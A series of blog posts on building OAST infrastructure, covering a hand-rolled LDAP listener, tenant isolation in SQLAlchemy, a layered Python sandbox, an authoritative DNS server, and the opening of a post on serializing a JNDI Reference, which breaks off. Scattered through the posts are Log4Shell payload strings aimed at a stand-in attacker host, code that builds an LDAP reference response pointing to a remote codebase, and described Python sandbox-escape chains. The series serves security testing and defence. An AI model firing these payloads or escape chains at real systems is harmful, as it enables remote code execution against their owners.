Fifth in a series on building OAST infrastructure from scratch. Post 1 built the javax.naming.Reference that an LDAP server returns; this one builds the LDAP server that returns it — and solves a problem the DNS and HTTP listeners never had: with LDAP, there’s nothing in the protocol that tells you whose host the callback was for.

The most-typed Log4Shell payload is:

${jndi:ldap://<host>/a}

I’ve typed that string into more input fields than I can count. What I’d never done, until this listener, was stand at the other end of it and answer — the most-pasted payload in appsec, and the server side of it is somehow the part nobody writes up.

When a vulnerable log statement interpolates that, the JVM does a JNDI lookup against your LDAP server. So a complete OAST platform needs to be an LDAP server — not a conformant directory, just enough to complete the handshake, capture the lookup, and (the moat) optionally hand back a crafted reference. LDAP-over-TCP is BER-encoded ASN.1, which sounds heavyweight but, for the three messages we care about, is about 120 lines of codec.

BER in the only detail you need: tag, length, value

BER (the wire form of ASN.1 that LDAP uses) is recursively TLV: a Tag byte, a Length, then that many bytes of Value. Nest TLVs and you have structured messages.

• Tag: one byte. Bits 7–6 are the class, bit 5 marks “constructed” (contains nested TLVs), bits 4–0 are the number. LDAP’s op tags are all ≤ 30, so a tag is always one byte here — no multi-byte tag parsing needed.
• Length: definite form, two flavors. If the byte is < 0x80, that is the length (short form). If the high bit is set, the low 7 bits say how many following big-endian bytes hold the real length (long form). That’s the whole rule:

def encode_length(n):
    if n < 0x80:
        return bytes([n])               # short form: the byte is the length
    out = bytearray()
    while n:
        out.append(n & 0xFF); n >>= 8
    out.reverse()
    return bytes([0x80 | len(out)]) + bytes(out)   # long form: 0x80|count, then bytes

• Value: the content — a primitive (integer, octet string) or nested TLVs.

Encoding is just “tag + length + content”:

def tlv(tag, content):
    return bytes([tag]) + encode_length(len(content)) + content

Reading is the inverse, and the one thing you must get right is framing a TCP stream: LDAP messages arrive back-to-back on a socket, so before parsing you compute the total length of the first complete message (header + declared length) and wait until you’ve buffered that many bytes. Get framing wrong and you’ll try to parse half a message under load. The same length rule above tells you where the message ends.

The tags you need are few:

TAG_INTEGER       = 0x02
TAG_OCTET_STRING  = 0x04
TAG_ENUMERATED    = 0x0A
TAG_SEQUENCE      = 0x30   # constructed
TAG_SET           = 0x31   # constructed
# APPLICATION-tagged LDAP ops: class 0x40 | constructed 0x20 | number
TAG_BIND_REQUEST    = 0x60   # APPLICATION 0
TAG_BIND_RESPONSE   = 0x61   # APPLICATION 1
TAG_SEARCH_REQUEST  = 0x63   # APPLICATION 3
TAG_SEARCH_RES_ENTRY= 0x64   # APPLICATION 4
TAG_SEARCH_RES_DONE = 0x65   # APPLICATION 5

One encoder subtlety that bites: a positive integer whose top bit is set needs a leading 0x00 or it reads back negative (BER integers are signed two’s-complement). Pad for the sign bit, then trim redundant leading zeros to stay minimal. It’s four lines and it’s the difference between a messageID of 200 and one of -56.

The conversation: bind, search, done

A JNDI/Log4Shell client speaks a tiny subset:

1. bindRequest (anonymous) → you reply bindResponse with resultCode 0 (success).
2. searchRequest → this is the lookup. You capture it, then reply searchResultEntry (capture-plus-craft mode) and/or searchResultDone (resultCode 0).

An LDAPMessage is a SEQUENCE of { messageID INTEGER, protocolOp }. Parsing leniently — read the SEQUENCE, read the messageID, read the one APPLICATION-tagged op — is enough:

def parse_message(msg):
    _, content, _ = ber.read_tlv(msg, 0)            # outer SEQUENCE
    _, c_id, off = ber.read_tlv(content, 0)         # messageID
    op_tag, op_content, _ = ber.read_tlv(content, off)  # protocolOp
    req = LdapRequest(message_id=ber.decode_int(c_id), op_tag=op_tag)
    if op_tag == ber.TAG_SEARCH_REQUEST:
        _, c_base, _ = ber.read_tlv(op_content, 0)  # baseObject == the lookup path
        req.base_dn = c_base.decode("utf-8", "replace")
    return req

Note what we pull out of the searchRequest: the base DN (baseObject). Hold that thought.

The attribution problem nobody warns you about

This is the part I actually learned something from. Here’s what makes the LDAP listener genuinely different from the DNS and HTTP ones. With DNS, the query name tells you which host was hit. With HTTP, the Host header (or SNI) does. LDAP has neither. A connection arrives, binds anonymously, and searches — and nothing in the protocol says “this callback was for tenant Alice’s host.”

The only per-lookup, attacker-controllable string in the whole exchange is the search base DN — the path part of ldap://you/<dn>. So that’s the attribution signal. Your payloads put the host label in the DN:

${jndi:ldap://<label>.<zone>:1389/<dn>}
                    ^^^^^^ in the hostname (resolves via your wildcard A)

…and on capture you run the same rightmost-label attribution you use for DNS, but against the base DN (and the connecting hostname). It’s a constraint that flows all the way back into payload design: because the protocol gives you no host context, the payload has to carry the identity itself. DNS and HTTP had spoiled me — both hand you the target for free, in the query name or the Host header — and it genuinely hadn’t occurred to me that a protocol might just decline to tell you. Every writeup I’d read shows you the Reference; not one of them mentions that you won’t know who it’s for.

(Convenient detail: you don’t even need a new DNS record. The victim resolves <label>.<zone> via the wildcard A the DNS listener already answers, then connects to your LDAP port. One zone, another protocol for free.)

Returning the reference (the moat, in one line of intent)

In capture-only mode you reply with an empty searchResultDone and you’re done — you’ve logged the callback. The interesting mode builds a searchResultEntry whose attributes are the JNDI reference: objectClass=javaNamingReference, javaClassName, javaCodeBase (a URL you host), javaFactory. The BER for that is just nested SEQUENCEs of { name, SET-of values }:

def search_result_entry(message_id, dn, attributes):
    attr_list = bytearray()
    for name, values in attributes.items():
        vals = b"".join(ber.encode_octet_string(v) for v in values)
        attr_list += ber.tlv(TAG_SEQUENCE,
            ber.encode_octet_string(name) + ber.tlv(TAG_SET, vals))
    op = ber.tlv(TAG_SEARCH_RES_ENTRY,
        ber.encode_octet_string(dn) + ber.tlv(TAG_SEQUENCE, bytes(attr_list)))
    return _ldap_message(message_id, op)

Whether the JVM then loads a class from javaCodeBase depends on its version and trustURLCodebase — that’s the exploit half, deliberately out of scope here. The point for the listener is: the same hand-rolled BER that parses the lookup also crafts the response.

Did the hand-rolled BER actually work?

The acid test for any from-scratch protocol implementation is a real client, not your own encoder agreeing with your own decoder. Point OpenLDAP’s ldapsearch at the listener:

ldapsearch -x -H ldap://127.0.0.1:1389 -b 'cn=test,dc=example' -s base
# result: 0 Success

Watching result: 0 Success come back from a client I hadn’t written was the first moment I believed the codec was actually right. A real LDAP client completing a clean bind+search against your 120 lines of BER is the proof the encoding is spec-correct — which, transitively, means a Java client’s JNDI lookup will parse it too. Same lesson as the JNDI Reference post: your oracle has to be an independent implementation, never your own round-trip.

Takeaways

• BER is just nested tag-length-value. Short-form vs long-form length and signed-integer padding are the only sharp edges; the LDAP subset is ~120 lines.
• TCP framing is a real step. Compute the first complete message’s length and buffer to it before parsing, or you’ll choke on coalesced messages under load.
• LDAP gives you no Host/SNI — the search base DN is your only attribution signal. That constraint propagates into payload design: the payload must carry the host identity, because the protocol won’t.
• Validate against a real client. ldapsearch returning Success is the only proof your hand-rolled codec is correct; self-round-tripping proves nothing.

Next: the other JNDI pillar — ${jndi:rmi://...} — which means parsing JRMP, the RMI registry protocol, off the wire. It’s the read side of post 1’s serialization story.

This is part of a series I’m writing on building OAST infrastructure from scratch — hand-rolling a JNDI Reference, an authoritative DNS server, sandboxing untrusted Python for the response logic, and multi-tenant isolation as the safety net. This post built the LDAP sink; next it’s the other JNDI pillar — JRMP, the RMI registry protocol, read off the wire.

Fourth in a series on building out-of-band application security testing (OAST) infrastructure from scratch. Earlier posts went down to the wire (JNDI, DNS, the sandbox). This one is about a quieter risk that kills more SaaS products than any exploit: one missing WHERE clause.

In a multi-tenant app, the entire security model often reduces to a single sentence: every database read that returns user-owned data is filtered by the current user’s id. Get it right everywhere and tenants are isolated. Forget it in one endpoint — one db.query(Modifier).filter(Modifier.id == requested_id) without the owner_user_id check — and any user can read any other user’s data by guessing an integer. It’s the most common serious bug in SaaS, and it’s a bug of omission, which is exactly the kind code review is worst at catching.

The explicit filter is layer one, and you keep it — it’s readable, it’s the contract, every reviewer understands it. But “we’ll just always remember” is not a security control. So this platform adds a second layer that’s automatic and fails closed: even if you forget the WHERE, the database query physically cannot return another tenant’s rows.

The idea: filter at the ORM boundary, not the call site

SQLAlchemy fires a do_orm_execute event for every ORM statement before it hits the database. That’s the choke point. If, at that moment, we can (a) tell whether the statement touches a tenant-owned table and (b) know who the current user is, we can inject the WHERE owner_user_id = :uid ourselves — on every SELECT, UPDATE, and DELETE, whether or not the call site remembered.

Two pieces make it work: a marker so we know which models are tenant-owned, and the hook that does the injection.

Mark the tenant-owned models

A mixin, and a classmethod that returns the filter expression. The common case is an owner_user_id column:

class TenantScoped:
    @classmethod
    def __tenant_filter__(cls, user_id: int):
        return cls.owner_user_id == user_id

Models with a different shape override it — User filters on its own id, UserState on user_id, join tables that own no direct FK to users (chain steps, modifier versions) scope through their parent. The point is that every owner-scoped model declares, in one place, how to constrain it to a tenant. Forgetting the mixin on a new model is itself catchable — a static check in the test suite flags any owner-scoped table that doesn’t mix it in.

Inject the filter on every statement

The hook collects every TenantScoped mapper the statement touches and adds the criteria via with_loader_criteria (which also reaches relationship loads and join-aliased copies, so a lazy-load can’t sneak around it):

@listens_for(Session, "do_orm_execute")
def _enforce_tenant_scope(state):
    if not (state.is_select or state.is_update or state.is_delete):
        return                      # INSERTs pin owner_user_id at the call site
    tenanted = [m.class_ for m in _mappers(state)
                if issubclass(m.class_, TenantScoped)]
    if not tenanted:
        return
    if _is_tenant_bypassed(state):
        return                      # explicit, grep-able opt-out (see below)

    uid = _current_user_id(state)
    if uid is None:
        raise TenantScopeMissing(...)   # <-- fail CLOSED

    for cls in tenanted:
        state.statement = state.statement.options(
            with_loader_criteria(cls, cls.__tenant_filter__(uid), include_aliases=True)
        )

The part that matters most: fail closed

Look at the uid is None branch. If a tenant-scoped query runs and we can’t determine the current user, we don’t run it unfiltered — we raise. A 500 error is a bug report. A query that silently returns every tenant’s rows because the user context wasn’t set is a breach you find out about on Twitter. The default has to be “refuse,” not “return everything.” This is the single most important design decision in the whole mechanism, and it’s one line.

It also changes the cost of the mistake in a useful way. With only the explicit-filter layer, a forgotten WHERE is a silent data leak. With this layer, the same forgotten WHERE becomes either (a) correctly filtered anyway (the hook did it) or (b) a loud TenantScopeMissing exception pointing at the exact route. Both are fine outcomes. A silent leak is not on the menu.

Where does uid come from? (a FastAPI threadpool trap)

The obvious place to stash “current user” is a ContextVar. It’s the wrong place here, and the reason is a genuinely sharp edge worth knowing.

FastAPI runs synchronous dependencies and route handlers in a threadpool. Python copies contextvars per task, so a ContextVar.set() inside one sync dependency is invisible to the next sync dependency or the route — they ran in different threadpool contexts. Pin the user id in a ContextVar in your auth dependency and it’ll be None again by the time the query runs. You get fail-closed 500s everywhere and conclude the whole approach is broken.

The fix: pin the id on the Session object itself (db.info["current_user_id"]), set by the same auth dependency that resolves the user. The Session is shared by value across the dependency chain and the route — it’s literally the thing you’re running queries against — so the pin follows the request without any contextvar gymnastics. (A ContextVar stays as a fallback for scripts and out-of-band paths that don’t go through the web dependency chain.)

uid = state.session.info.get("current_user_id") or current_user_id.get()

Bypasses: make them rare, explicit, and grep-able

Plenty of code legitimately reads across tenants — the listeners (they don’t know whose host a callback hit until attribution runs), scheduled jobs (owner-stats, retention), admin views, and the auth dependency itself (it has to look up the User before the tenant is known). For these there are exactly two opt-outs, both intentionally visible in a code search:

• bypass_session() — a whole session with the filter off (listeners, jobs, attribution).
• .execution_options(bypass_tenant=True) — one statement (admin views, auth deps, the public homepage stats counter).

The goal isn’t to forbid cross-tenant access — it’s to make every instance of it loud. A reviewer can grep bypass_tenant and audit the entire cross-tenant surface of the app in one command. Contrast with the default world where cross-tenant access looks identical to correct code (it’s just a query that happens to be missing a filter). Naming the exception turns an invisible risk into an auditable list.

One more SQLAlchemy gotcha: Session.get skips the hook

SQLAlchemy 2.0’s Session.get(Model, pk) short-circuits on an identity-map hit — if the object is already cached from an earlier query, it returns it without emitting do_orm_execute. So a row loaded in one request could, in principle, be handed back by a .get() in a later request that should’ve been filtered. The fix is to force populate_existing=True for TenantScoped entities on .get, which re-runs the SELECT (and thus the hook) instead of trusting the cache. Small, but it’s exactly the kind of corner where “we filter everything” quietly becomes “we filter everything except the fast path.”

Takeaways

• The explicit WHERE owner_user_id is the contract; an automatic layer is the safety net. Keep both. The first is readable; the second is what saves you the day someone forgets the first.
• Fail closed. A tenant query with no known tenant must raise, never run unfiltered. This one decision converts “silent cross-tenant leak” into “loud 500 at the exact line.”
• Pin tenant identity on the Session, not a ContextVar — FastAPI’s sync-dep threadpool makes contextvars silently empty across the dependency chain.
• Make every cross-tenant bypass explicit and grep-able. You can’t review what looks identical to normal code; you can review a named list.

This is “Phase 1” — application-layer defense in depth. The heavier hammer, Postgres row-level security (RLS) enforced in the database regardless of which ORM or raw query runs, is a natural “Phase 2.” But letting the app-layer version burn in first is the right order: it’s reversible, debuggable, and catches the bug class today. Next in the series: back to the wire, with a hand-rolled LDAP listener — the mail-less pillar of Log4Shell.

This is part of a series I’m writing on building OAST infrastructure from scratch — hand-rolling a JNDI Reference, an authoritative DNS server, and sandboxing untrusted Python for the response logic. This post added the multi-tenant safety net; next it’s back to the wire with a hand-rolled LDAP listener — the mail-less pillar of Log4Shell.

Third in a series on building out-of-band application security testing (OAST) infrastructure from scratch. Post 1 hand-rolled a JNDI Reference; post 2 built the authoritative DNS server. This one is the riskiest feature in the whole platform: letting users run their own Python, in production, to shape the responses the listeners send back.

The feature is simple to state and terrifying to implement: a user writes a Python function, and when a callback lands on their host, the server runs that function to decide what to answer. DNS rebinding, conditional payloads by source IP, crafting a JNDI reference on the fly — all of it wants user-supplied logic in the response path. Which means executing untrusted Python on your production box.

“Just use eval with a restricted __builtins__” is how people get owned. CPython’s object graph is a hall of mirrors: from almost any object you can walk .__class__.__bases__ up to object, back down .__subclasses__() to something dangerous, and out to os.system. A serious sandbox assumes every single layer will be bypassed and stacks independent ones so that an escape from one lands in the next. Here are the six this platform uses, outermost first, and then the bug that walked through the early ones.

Why one layer is never enough

The thing that makes this tractable is that each layer answers a different question.

A real exploit has to beat all of them in sequence. Miss one and you still have five. That’s the entire design philosophy; everything else is detail.

Layer 0: a separate uid (the kernel backstop)

Each modifier runs in a fresh subprocess, and that subprocess drops to a dedicated unprivileged user (oob-sandbox — no home, no shell, no group membership) before it runs a line of user code. The trick is when: Python’s subprocess does the setresuid/setresgid in the forked child before exec, i.e. before the worker installs the seccomp filter that later blocks the setuid family. So the worker can’t climb back out — by the time it could call setuid, seccomp forbids it.

proc = subprocess.run(
    [sys.executable, "-m", "app.sandbox.worker"],
    input=payload, capture_output=True, timeout=parent_wall,
    user=sandbox_user, group=sandbox_group,   # drop happens pre-exec in the child
    env=_minimal_env(), close_fds=True,
)

Why this is the outermost layer: even if layers 1–6 all failed and the code achieved arbitrary native execution, the kernel still won’t let uid oob-sandbox read the service account’s .env (mode 600) or open the database socket. It’s the “assume total compromise” floor. It needs CAP_SETUID/CAP_SETGID on the service, and degrades gracefully (with a one-time warning) to no-drop on an unprivileged dev box, so the other five still apply in development.

Layer 1: AST allowlist (the cheapest, strongest filter)

Before the code ever runs, it’s parsed to an AST and walked. No import. No exec/eval. No attribute access to dunder names (__class__, __globals__, __subclasses__, …). If the code can’t say the dangerous thing, no runtime defense is even tested. This is the highest-leverage layer because it’s static: it rejects whole categories of attack before a single instruction executes. (The worker re-validates parent-side validation rather than trusting it — the check is cheap and the assumption “the parent already checked” is exactly how layers rot.)

Layers 2 & 3: resource limits and a wallclock kill

Static analysis says nothing about while True or b"x" * 10**12. So the worker sets POSIX rlimits and an alarm:

resource.setrlimit(resource.RLIMIT_CPU,    (cpu, cpu))      # CPU seconds
resource.setrlimit(resource.RLIMIT_AS,     (mem, mem))      # address space
resource.setrlimit(resource.RLIMIT_NOFILE, (32, 32))        # file descriptors
resource.setrlimit(resource.RLIMIT_NPROC,  (0, 0))          # no fork()
signal.signal(signal.SIGALRM, _on_alarm); signal.alarm(wall)  # wallclock

RLIMIT_NPROC = 0 is a quietly important one — it forbids fork(), so even a hypothetical escape can’t spawn a helper process. And there’s a real gotcha I’ll flag because it cost time: RLIMIT_FSIZE = 0 looks like a great “no writing files” control, but it makes the kernel SIGXFSZ-kill the process on any write to a regular file — including the worker’s own stderr going to journald. File writes are already dead at the AST layer, so don’t reach for FSIZE=0. The parent also keeps its own wallclock watchdog (subprocess.run(timeout=...)) as a backstop in case the in-process SIGALRM is somehow defeated. Two independent timeouts for the same reason there are six layers.

Layer 4: restricted builtins

User code gets a hand-picked __builtins__ — len, range, str, dict, a few exception types — and nothing else. No open, no __import__, no getattr, no compile. Combined with the AST ban on dunder access, the usual ().__class__.__bases__[0].__subclasses__() ladder has no first rung.

Layers 5 & 6: seccomp and Landlock (kernel-enforced)

The last two stop assuming anything about Python and drop to the kernel:

• seccomp installs a syscall filter that EPERMs everything an escape chain loves and a normal modifier never needs: the whole network family (socket/connect/sendto/…), process creation (fork/execve/ptrace), namespace and privilege ops (setns/unshare/setuid/mount), and kernel-feature surfaces (bpf/init_module/perf_event_open). It defaults to allow (so it doesn’t break the Python runtime’s futex/mmap/brk) and explicitly denies the dangerous list.
• Landlock installs a ruleset that denies all filesystem access at the kernel level — so even a code path that reaches open(2) through some cpython/ctypes internal the AST never saw finds no readable paths.

Both are best-effort (if the kernel lacks support they no-op) precisely because they’re defense-in-depth — their failure can’t weaken layers 0–4, which still stand.

The escape I missed: str.format is a getattr in disguise

Now the war story. You can copy the layers above; this is the part I actually learned something from.

The AST layer banned attribute access to dunder names. I was proud of it. And it had a hole, because str.format performs attribute and index access at runtime, driven by the format string — which the AST never inspects, because it’s just a string literal or, worse, a value pulled from the request. Consider:

"{0.__class__}".format(some_object)

str.format parses 0.__class__, does a runtime getattr(some_object, "__class__"), and hands you the class — the exact dunder traversal the AST forbids syntactically, smuggled through a method call on a string. format_map is the same gun with a different grip. From there it’s the classic climb to object.__subclasses__() and out. The static check inspected the code; the attack lived in data the code formatted.

The fix was two-fold and it’s instructive:

1. Add format and format_map to the disallowed-attribute set (you can’t call what you can’t name), and
2. drop format from the builtins.

But the deeper lesson generalizes far past this one bug: a static allowlist only constrains what the code says, not what the code does at runtime with data. Any primitive that performs reflection driven by a runtime value — str.format, %-formatting with __getitem__ tricks, template engines, getattr wrappers — is a hole in an AST allowlist by construction. You have to enumerate those reflection primitives explicitly. That’s also why layers 5 and 6 exist: even granting that I’d miss exactly this kind of thing, seccomp and Landlock and the uid drop mean the missed escape reaches a class with no subprocesses, no sockets, no files, and no privileges. The bug was real; it was also contained.

A smaller, related decision: expose callables, never modules

One design choice in the same spirit, because it’s a trap people walk into when they try to make a restricted environment useful. Modifiers get a helper namespace — json, re, base64, hashlib, URL parsing. The tempting implementation is to hand over the modules:

ctx.lib.json = json     # DON'T

That’s a full AST bypass. urllib.parse does import sys internally, so ctx.lib.url.sys.modules["ctypes"].pythonapi.PyRun_SimpleString is arbitrary native Python — reachable purely through attribute access on a “helpful” module object. The fix is to expose only the specific callables and constants, wrapped so there’s no navigating from a function back to its module:

ctx.lib.json = Ns({"loads": json.loads, "dumps": json.dumps, ...})  # callables only

A function’s __globals__/__module__ are dunder-blocked at the AST layer, so ctx.lib.json.dumps.__globals__["sys"] is a dead end. Every time I’ve made this sandbox more useful I’ve had to stop and ask what new surface I just handed over, and “give them the module” is the most natural and most dangerous version of that mistake.

Takeaways

• Stack independent layers; assume each one fails. The value isn’t any single barrier — it’s that an escape from one lands inside the next. Six here: uid drop, AST allowlist, rlimits, wallclock, restricted builtins, seccomp + Landlock.
• A static AST allowlist constrains syntax, not runtime reflection. str.format/format_map/% and friends do attribute access driven by data. Enumerate and ban every reflection primitive, or assume one will get through — and make sure the kernel layers catch it when it does.
• Usefulness is the enemy of containment. Exposing a stdlib module leaks sys and thus arbitrary execution. Expose individual callables, never the module object.
• Run it as a throwaway user in a throwaway process. Fresh subprocess + uid drop means the worst case is bounded by the kernel, not by how clever your Python sandbox was.

That closes the core trilogy: catch the callback (DNS), understand the payload (JNDI), and respond safely with untrusted logic (the sandbox). The rest of the series goes wider — multi-tenant isolation as defense-in-depth, the SMTP/LDAP/RMI listeners, and layered DoS protection — at the same wire-level depth.

This is part of a series I’m writing on building OAST infrastructure from scratch — hand-rolling a JNDI Reference, an authoritative DNS server, and this sandboxed Python runtime for the response logic. Next the series goes wider: multi-tenant isolation, the SMTP/LDAP/RMI listeners, and layered DoS protection — at the same wire-level depth.

Second in a series on building out-of-band application security testing (OAST) infrastructure from scratch. The first post hand-rolled a JNDI Reference byte by byte. This one is gentler but just as load-bearing: to catch a DNS callback, you have to be the nameserver for a zone.

I’ve leaned on Burp Collaborator and interactsh for years without once thinking about what’s under them. Building my own OAST platform was the thing that finally made me look — and the piece everyone treats as magic, the DNS side, turned out to be the smallest part of it. Every OAST tool — those two, this one — rests on one capability: you are the authoritative nameserver for a domain, and you answer every query under it, no matter how weird. When a vulnerable app exfiltrates data as whoami-output.<your-host>.example.net, that DNS query travels the resolver chain to your server, and the query itself is the signal. No HTTP needed; DNS alone is the side channel.

So the core of an OAST platform is a catch-all authoritative DNS server. You don’t need BIND. You need a UDP/TCP socket, a DNS message parser, and about 200 lines of logic. Here’s the whole thing, built on dnslib (which does wire parsing so you can think in records, not bytes).

What “authoritative” actually means on the wire

Three things distinguish an authoritative answer from a recursive resolver’s:

1. The aa (authoritative answer) bit is set in the response header. You’re saying “I am the source of truth for this zone,” not “I looked it up for you.”
2. You answer for names in your zone and refuse everything else. A query for a name you’re not authoritative for gets REFUSED, not a recursive lookup.
3. You serve the zone’s SOA and NS records so the rest of the DNS system believes you.

With dnslib, the skeleton is a BaseResolver subclass with a resolve(request, handler) that returns a DNSRecord. Everything below lives in that method.

Step 1: is this query even mine?

The first decision is zone matching. You’re authoritative for one or more zones (say example.net); a query is yours if its name equals a zone or ends in .<zone>. Longest-match if you serve several:

def _match_zone(self, qname: str) -> str | None:
    best = None
    for z in self.zones:
        if qname == z or qname.endswith("." + z):
            if best is None or len(z) > len(best):
                best = z
    return best

Out of zone → set REFUSED and return. In zone → set the aa bit and start answering:

matched_zone = self._match_zone(qname)
if matched_zone is None:
    reply.header.rcode = RCODE.REFUSED
else:
    reply.header.aa = 1
    ...

That aa = 1 is the line I forget every time I come back to this code. Without it, some resolvers treat your answer as non-authoritative and behave oddly — and I’ve burned more than one debugging session before remembering it’s one bit that changes everything.

Step 2: the apex (the zone’s own name)

A query for the bare zone name (example.net itself) needs the records that make you a real nameserver:

• SOA — start of authority: primary NS, admin email, and the five timers (serial, refresh, retry, expire, minimum). The serial just needs to monotonically increase; Unix time is a fine, lazy choice that fits in a uint32 until 2106:

  def _soa_serial(self):
      return int(time.time())
  

• NS — your nameserver hostnames. These have to match the glue records at your registrar.
• A — pointing the apex at your box, so http://example.net resolves to you too.
• MX — so mail is deliverable (more on this below).

And the subtlety that trips everyone: NODATA. If the name exists but the queried type doesn’t (e.g. someone asks for AAAA at your apex and you have no v6), you do not return NXDOMAIN and you do not return empty-and-silent. You return NOERROR with the SOA in the authority section:

if not reply.rr:
    reply.add_auth(self._build_soa_rr(matched_zone))

That SOA-in-authority is how a resolver learns “this name is real, that record type just isn’t, and here’s how long to cache the negative answer.” Skip it and you get inconsistent caching and slow retries.

Step 3: the wildcard — answer anything under the zone

This is the OAST heart. For any name under your zone — whatever.user-host.example.net, a.b.c.d.user-host.example.net, names you’ve never seen — you answer an A record pointing at your listener IPs:

def _build_wildcard_a_rrs(self, qname):
    return [RR(qname, QTYPE.A, ttl=DNS_DEFAULT_TTL, rdata=A(ip))
            for ip in LISTENER_IPS]

You’re not looking anything up in a database to decide whether to answer — you answer everything, because the whole point is to catch callbacks to names the attacker invented on the fly. (Whose host it belongs to — attribution — happens separately, by matching the rightmost meaningful label against your claimed-host table, and it’s fine for that to find nothing: an unattributed hit is still a captured hit.)

The same wildcard logic answers MX for every name, so anything@user-host.example.net is deliverable — the sending mail server looks up MX, gets your mail host (covered by the same wildcard A), and connects to your SMTP sink on port 25:

def _build_mx_rrs(self, qname, zone):
    target = f"mail.{zone}."
    return [RR(qname, QTYPE.MX, ttl=DNS_DEFAULT_TTL,
               rdata=MX(target, self.mx_priority))]

One wildcard, three callback channels (DNS, HTTP, email) all reachable at the same host label.

Step 4: answer your own ACME challenges (the neat trick)

This is my favorite part of the whole platform — a genuinely satisfying bit of bootstrapping. You want a wildcard TLS cert for *.example.net so the HTTPS listener works for every host. Let’s Encrypt issues wildcard certs only via the DNS-01 challenge: prove you control the zone by publishing a specific TXT record at _acme-challenge.example.net.

But you are the zone’s DNS server. So you answer the challenge straight out of a table that your cert-renewal hook writes to:

if qtype in ("TXT", "ANY") and qname.startswith("_acme-challenge."):
    for value in self._lookup_acme_challenges(qname):
        reply.add_answer(RR(qname_dot, QTYPE.TXT, ttl=0, rdata=TXT(value)))

certbot’s hook drops the challenge value into a row; your DNS server serves it; Let’s Encrypt checks it; you get a wildcard cert — all against infrastructure you already run. No external DNS provider API, no plugin. The server validates its own identity to the CA.

Step 5: don’t get used as a DDoS amplifier

A public UDP DNS server is a reflection/amplification weapon if you’re careless: an attacker spoofs a victim’s source IP, sends you a tiny query, and you blast a big answer at the victim. Two cheap defenses, both before any database work:

• A per-source-IP token-bucket floor. Over the limit → REFUSED with no answers (a refusal is the same size as the query, so there’s no amplification to exploit). DNS limits should be generous — recursive resolvers hide millions of clients behind one IP, and a single legit lookup can fire 3–4 packets (A + AAAA + HTTPS-RR + CAA) in milliseconds.

• Response Rate Limiting (RRL), UDP-only, keyed by client prefix (/24 or /64). Over the limit, answer truncated — TC=1, no records:

  if rrl_over_limit and transport == "udp":
      reply.header.tc = 1            # "retry over TCP"
      reply.header.rcode = RCODE.NOERROR
      return reply
  

  TC=1 is query-sized (no amplification) and forces a legitimate resolver to retry over TCP — which a spoofer can’t do, because TCP needs a real three-way handshake the spoofed source will never complete. Prefix keying (not exact IP) is deliberate: a reflection flood concentrates on one victim prefix even as exact source IPs vary.

  One more subtlety with real teeth: do not auto-ban the source IP that trips UDP RRL. In a reflection attack that “source” is the victim, not the attacker — banning it punishes the target and is weaponizable against you. TCP-validated surfaces (HTTP) are safe to ban; spoofed UDP sources are not.

The shape of the whole thing

Strip out capture and persistence and the resolver is essentially:

resolve(request):
    rate-limit floor        -> REFUSED if over
    RRL (udp)               -> truncated if over
    match zone              -> REFUSED if out of zone, else aa=1
    if name == apex:        SOA / NS / A / MX, else NODATA+SOA
    else (subdomain):       ACME TXT? else wildcard A + MX, else NODATA+SOA
    (capture + attribute + optionally run a response modifier)
    return reply

That’s an authoritative server. ~200 lines on top of a wire-parsing library, and it’s enough to delegate a real zone to and catch real callbacks from real exploits. The DNS RFCs are large; the authoritative-for-a-wildcard-zone subset you need for OAST is small, and now you’ve seen all of it.

Takeaways that outlast this post

• Authoritative ≠ recursive. Set aa, refuse out-of-zone, serve your own SOA/NS. Three rules and you’re a real nameserver.
• NODATA is NOERROR + SOA-in-authority, never NXDOMAIN, never silence. This single detail separates a server that caches correctly from one that mysteriously doesn’t.
• A wildcard zone is a multi-channel callback sink — the same label catches DNS, HTTP, and email, and you can validate your own TLS certs against it.
• A public UDP service is an amplifier until you rate-limit it — and the right response is truncation, not refusal-by-ban, because the source you see may be the victim.

Next in the series: the part where catching a callback isn’t enough — you want to respond with attacker-influenced logic, which means running untrusted Python safely. Six layers of sandbox, and the escape I missed. After that the series goes wider: multi-tenant isolation and a hand-rolled LDAP listener for the Log4Shell callback path.

Quick note before we start: this is about the wire format, for defenders and people doing authorized testing. There’s no turnkey exploit here, no gadget chain, nothing you can copy-paste to pop a box. The point is to know what the bytes look like so you can spot them.

You’ve seen the Log4Shell string a hundred times:

${jndi:ldap://attacker.example/a}

And you’ve probably read the stock explanation that goes with it: the server does a JNDI lookup, the attacker’s LDAP server hands back a reference to a remote class, and the JVM downloads and runs it.

That’s technically true, and I’ve never found it useful. It skips the only part that’s actually interesting: the whole attack hinges on one object that the victim JVM deserializes, and that object has to be byte-perfect or nothing happens at all — it just quietly fails and you’re left wondering why.

So I decided to build the server side of it myself. No JNDI, no RMI library, not even ObjectOutputStream — just a byte buffer and the spec. I figured I understood the format. Turns out there’s a real gap between “I read the spec” and “a real JVM accepts it,” and that gap cost me two bugs I never would have caught without running the bytes through an actual JVM.

This post is that object, byte for byte, including both bugs.

The setup: who serializes what

When a vulnerable app calls ctx.lookup("ldap://you/a") (or rmi://you/a), your malicious directory server gets to return exactly one thing: a serialized Java object. If that object happens to be a javax.naming.Reference with a classFactoryLocation set to a codebase URL, and the victim is running with com.sun.jndi.ldap.object.trustURLCodebase=true (which was the default on old JDKs, before the patches), then NamingManager.getObjectInstance fetches the factory class from your URL and instantiates it. That instantiation is the RCE. That’s the whole game.

So the entire server-side payload boils down to one job: emit a serialized javax.naming.Reference whose className, classFactory, and classFactoryLocation are yours.

Now, you could absolutely shell out to ysoserial or stand up a real LDAP server and let it do this for you. I didn’t want to. Partly it’s the no-dependencies thing, but mostly it’s that you can’t really detect or explain something you can only produce by calling a library that hides all the interesting bits from you. If I’m going to write a detection signature for this, I want to have typed the bytes myself. Here’s what that takes.

🧩 See the bytes: If you would rather read a stream than a hex dump, the Deserialization Gadget Visualizer parses Java serialization byte by byte — the same structures described below, annotated as you scroll.

The Java serialization stream, in just enough detail

A serialized stream starts with a 4-byte header:

AC ED 00 05      STREAM_MAGIC (0xACED) + STREAM_VERSION (0x0005)

After that it’s a sequence of typed records. Here are the only ones we care about:

An object on the wire looks like this: TC_OBJECT, then a class descriptor (the class name, plus serialVersionUID, plus flags, plus the ordered list of field declarations, plus a null meaning “no superclass”), and then the field values in the exact order the descriptor declared them. Strings normally get written once and then back-referenced later with TC_REFERENCE by handle number, which is great for size but miserable to hand-encode. If you just emit every string fresh as its own TC_STRING, the handle numbering stops mattering and your bytes become self-contained. That’s the one trick that makes doing this by hand bearable: never back-reference, always emit fresh.

